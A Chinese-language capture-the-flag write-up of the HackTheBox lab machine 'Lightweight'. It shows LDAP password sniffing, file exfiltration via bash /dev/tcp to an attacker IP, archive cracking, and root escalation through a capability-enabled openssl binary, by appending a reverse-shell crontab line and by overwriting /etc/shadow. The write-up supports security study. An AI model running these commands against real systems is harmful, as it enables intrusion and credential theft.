zoukankan      html  css  js  c++  java
  • HTB-靶机-Lightweight

    本篇文章仅用于技术交流学习和研究的目的,严禁使用文章中的技术用于非法目的和破坏,否则造成一切后果与发表本文章的作者无关

    靶机是作者购买VIP使用退役靶机操作,显示IP地址为10.10.10.119

    本次使用https://github.com/Tib3rius/AutoRecon 进行自动化全方位扫描

    执行命令 autorecon 10.10.10.119 -o ./Lightweight-autorecon

    发现开放了3个端口,含有ldap服务,我们先访问80端口

    上述是使用绑定本地hosts进行访问,刚开始使用IP地址访问发现访问空白,猜测可能是目标靶机的限制,根据上面访问的信息得知目标靶机会根据访问web的日志记录IP地址并根据IP地址添加用户和密码,所以我们使用自身的IP地址用作用户名和密码进行ssh登录

    登录成功进去之后使用linenum.sh脚本进行枚举目标靶机各种信息,发现如下

    相关知识点参考:

    Linux Capabilities介绍
    https://man7.org/linux/man-pages/man7/capabilities.7.html
    https://www.cnblogs.com/sparkdev/p/11417781.html

    可以使用tcpdump进行本地抓389端口的数据包,然后获取其中一用户的密码

    tcpdump -i lo port 389 -w capture.cap -v

    不知道啥原因我这里是抓包抓不到数据,具体操作就是抓包完成之后将数据包拿到本地kali然后使用wireshark打开查看密码为:8bc8251332abe1d7f105d3e53ad39ac2用户是:ldapuser2 我们使用su切换至此用户

    切换至用户ldapuser2发现当前目录下存在backup.7z文件,同时读取了user.txt,本想直接在此靶机上进行7z解压,发现没有命令,只好通过nc将其传至本地kali进行解压

    传输文件
    bash -c "cat backup.7z > /dev/tcp/10.10.14.6/5555" (或者cat backup.7z > /dev/tcp/10.10.14.6/5555)
    nc -lvnp 5555 > backup.7z

    尝试解压发现需要密码,使用字典rockyou.txt进行爆破,具体过程如下:

    将压缩包拿到本地kali解压发现需要密码,尝试使用john通过字典rockyou进行爆破密码,爆破之前需要对其转换,转换的命令如下
    sudo /usr/share/john/7z2john.pl backup.7z > bmfxhash.txt
    执行上面的命令的时候会报错如下:
    (you may need to install the Compress::Raw::Lzma module) 
    需要安装如下包,可参考:https://zoomadmin.com/HowToInstall/UbuntuPackage/libcompress-raw-lzma-perl
    sudo apt-get update -y
    sudo apt-get install -y libcompress-raw-lzma-perl

    成功得到解压密码为delete解压之后发现ldapuser1的密码信息

    再次切换至用户ldapuser1

    通过上面执行getcap命令得到了此用户下面存在特权二进制文件,可以直接执行,这里就可以通过计划任务进行提权,也可以修改/etc/passwd 或者/etc/shadow进行添加root用户提权,具体操作如下:

    通过计划任务获取root权限
    cd /tmp
    cp /etc/crontab .
    echo '* * * * * root /bin/bash -i >& /dev/tcp/10.10.14.6/8833 0>&1' >> crontab
    base64 crontab > crontab.b64
    /home/ldapuser1/openssl enc -d -base64 -in crontab.b64 -out /etc/crontab

    通过修改shadow文件篡改root密码进行提权

    cd /tmp
    /home/ldapuser1/openssl base64 -in /etc/shadow | base64 -d > shadow
    
    可以通过下面命令直接生成密码加密的hash值,然后通过此值替换/etc/shadow的值即可更改密码
    mkpasswd -m sha-512 bmfxshit998
    $6$.m89fLqdSWxTQ.$gZw8DdNn5sVccHa0f26IRqQokkxc/5ZpEtM.IgZLLRbc1cWOF4FSLeMfiBhlM4VpJNlYkYVABmh1/WIP1LB1R0
    
    下面是原始的信息
    root:$6$eVOz8tJs$xpjymy5BFFeCIHq9a.BoKZeyPReKd7pwoXnxFNOa7TP5ltNmSDsiyuS/ZqTgAGNEbx5jyZpCnbf8xIJ0Po6N8.:17711:0:99999:7:::
    
    通过下面命令追加到shadow文件中,然后使用vi编辑器删除原来的root信息
    echo "root:$6$.m89fLqdSWxTQ.$gZw8DdNn5sVccHa0f26IRqQokkxc/5ZpEtM.IgZLLRbc1cWOF4FSLeMfiBhlM4VpJNlYkYVABmh1/WIP1LB1R0:17711:0:99999:7:::" >> shadow
    上述完成之后通过vi编辑器将追加的root信息替换为原始的信息
    
    base64 shadow > shadow.b64
    /home/ldapuser1/openssl enc -d -base64 -in shadow.b64 -out /etc/shadow

    篡改/etc/passwd就不原始了,以前演示过

  • 相关阅读:
    Ubuntu安装Apache
    【C#设计模式——创建型模式】抽象工厂模式
    【C#设计模式——创建型模式】工场方法模式
    【C#设计模式——创建型模式】简单工场模式
    JS判断是不是Decimal类型(正则实现)
    JS实现给页面表单设置触发默认按钮
    记录ASP.NET页面表单初始状态(主要是为了前台可以根据这个判断页面是否变动了)
    Js触发ASP.NET Validation控件的验证, 同时获取前台验证结果(不包括CustomValidator)
    根据字段名查找表名
    SqlServer判断数据库、表、存储过程、函数是否存在
  • 原文地址:https://www.cnblogs.com/autopwn/p/14167386.html
Copyright © 2011-2022 走看看